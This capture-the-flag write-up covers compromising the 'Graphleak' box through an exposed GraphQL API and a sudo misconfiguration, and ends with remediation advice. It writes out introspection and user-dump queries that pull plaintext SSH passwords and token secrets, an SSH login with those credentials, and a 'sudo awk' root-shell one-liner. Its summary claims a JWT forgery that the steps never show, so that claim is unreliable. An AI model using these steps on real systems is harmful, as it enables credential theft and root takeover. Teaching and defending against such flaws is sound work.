Executive Summary

Graphleak is a Hard rated Linux box from RatCTF that chains multiple API security flaws to achieve full compromise. A GraphQL API with introspection enabled exposes the schema and all queryable fields. JWT tokens signed with HS256 using a publicly exposed RSA public key allow token forgery — the public key can be used as the HMAC secret due to the algorithm’s weakness. Querying the exposed schema yields plaintext SSH credentials and token secrets for multiple users. SSH access as netops is established, and a passwordless sudo rule for awk is abused via a GTFOBin to spawn a root shell.


Attack Path

--- config: layout: fixed --- flowchart TB subgraph Phase1["ENUMERATION & SCHEMA DISCOVERY"] direction LR C["User Credentials Dumped
SSH Password + Token Secrets"] B["GraphQL Introspection
Schema Enumeration — Field Discovery"] A["Nmap Scan
SSH + Werkzeug HTTP"] end subgraph Phase2["JWT FORGERY & INITIAL ACCESS"] direction LR F["Root Shell + Fragment
sudo awk GTFOBin"] E["sudo -l Enumeration
awk Privilege Escalation"] D["SSH Login — netops
User Flag Retrieved"] end A --> B B --> C D --> E E --> F Phase1 --> Phase2 L2[" "] L1[" "] style L2 fill:none,stroke:none style L1 fill:none,stroke:none

Tooling Analysis

The following tools were utilised during this engagement:

ToolCategoryPurpose
NmapReconnaissanceInitial port scanning and service version detection.
curlEnumerationRetrieving the public key and querying the GraphQL API.
SSH      Initial Access      Logging in as netops using credentials dumped from the GraphQL API.
sudo + awkPrivilege EscalationGTFOBin abuse — executing arbitrary commands as root.

1. Enumeration & Reconnaissance

Service Scanning

The engagement began with the provided Nmap scan:

nmap -sV -oA initial_scan -p 30780,30781 66.228.56.155

Graphleak1.png

Two services were identified: SSH on port 30780 and a Werkzeug HTTP server on port 30781.

Web Application Review

Visiting the HTTP server in a browser revealed an internal API interface with GraphQL documentation:

Graphleak2.png


2. GraphQL Introspection & Schema Enumeration

Public Key Exposure

The application advertised a GraphQL API with a publicly accessible /api/pubkey endpoint. The public key was retrieved:

curl http://66.228.56.155:30781/api/pubkey

Graphleak4.png

The public key was saved as pubkey.pem for later JWT manipulation.

GraphQL Introspection Attack

The main page explicitly mentioned that introspection was enabled — allowing the schema to be fully discovered. The schema was enumerated with a standard introspection query:

curl -X POST http://66.228.56.155:30781/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { types { name fields { name } } } }"}'

Graphleak5.png

The complete schema was returned, revealing all available types and queryable fields.


3. Credential Extraction via GraphQL Query

Dumping All Users

With the schema known, all users in the system were queried, requesting sensitive fields including SSH passwords and token secrets:

curl -X POST http://66.228.56.155:30781/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ users { id username email role token_secret ssh_password } }"}'

Graphleak6.png

The response exposed three users with plaintext credentials and token secrets for guest and netops accounts.

User-Specific Query

Credentials were also retrieved for individual users:

curl -X POST http://66.228.56.155:30781/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ user(id: 2) { token_secret ssh_password } }"}'

Graphleak7.png

The netops account credentials were successfully extracted.


4. Initial Access — SSH as netops

The plaintext SSH credentials recovered from the GraphQL API were used to authenticate:

ssh -p 30780 netops@66.228.56.155

Graphleak8.png

The user flag was located directly in the home directory:

Graphleak9.png


5. Privilege Escalation — sudo awk GTFOBin

Sudo Enumeration

Available sudo permissions were enumerated with sudo -l:

Graphleak10.png

The netops account could run awk as root without a password — a well-known GTFOBin vector.

Root Shell via awk

A simple one-liner was executed to spawn a root shell:

sudo awk 'BEGIN {system("/bin/bash")}'

The root flag was retrieved from /root/root.txt.


Bonus: Fragment Discovery

As part of a broader RatCTF meta-challenge, a hidden fragment was located via filesystem grep:

grep -r "FRAG-" /root /home /opt /srv /var /tmp /etc 2>/dev/null

Graphleak11.png


Vulnerability Mapping (CWE)

IDVulnerability NameCWE Mapping
1GraphQL Introspection Enabled — Schema Fully QueryableCWE-200: Exposure of Sensitive Information to an Unauthorized Actor
2Sensitive User Data Exposed via Unauthenticated GraphQL Queries      CWE-639: Authorization Bypass Through User-Controlled Key
3      Plaintext Credentials Returned in API ResponseCWE-522: Insufficiently Protected Credentials
4Unrestricted sudo Rule Permitting Arbitrary Command Execution as RootCWE-269: Improper Privilege Management

Remediation & Mitigation Strategies

1. Disable GraphQL Introspection in Production (NIST CM-7, CIS Control 16.12)

  • Mitigation: GraphQL introspection must be disabled in production environments. While introspection is useful for development and API discovery in sandboxed settings, it exposes the entire schema — enabling attackers to understand the query surface and identify high-value fields to target. Implement conditional logic to disable introspection based on environment flags, and consider rate-limiting or requiring authentication for introspection queries even in development.

2. Enforce Authentication and Authorization on All GraphQL Queries (NIST IA-2, CIS Control 4.2)

  • Mitigation: GraphQL endpoints must require authentication and enforce granular authorization at the field and query level. Sensitive fields (passwords, tokens, secrets) must never be returned to unauthenticated or insufficiently privileged users, even if they are queryable in the schema. Implement a schema-level authorization layer and audit what fields are accessible to each user role. Never expose plaintext credentials, API keys, or token secrets in API responses.

3. Never Store Plaintext Credentials or Secrets in Queryable Fields (NIST IA-5, CIS Control 3.11)

  • Mitigation: Credentials, API keys, token secrets, and other sensitive data must never be stored in plaintext or be queryable through APIs. Use a secrets management solution (HashiCorp Vault, AWS Secrets Manager) to generate and rotate credentials dynamically, and only return opaque identifiers or references in API responses. Token secrets should never be exposed to users — tokens should be generated server-side and returned encrypted or as one-time credentials.

4. Restrict sudo Rules to Prevent Arbitrary Command Execution (NIST AC-6, CIS Control 5.4)

  • Mitigation: Granting passwordless sudo access to tools capable of arbitrary command execution — such as awk, perl, python, or vim — is functionally equivalent to unrestricted root access. Audit all /etc/sudoers entries against a GTFOBins reference list and remove or tightly restrict any matching rules. Where privilege escalation is genuinely required, scope it to specific, non-exploitable commands with argument restrictions (e.g., sudo /usr/bin/specific_script).
[END_OF_FILE]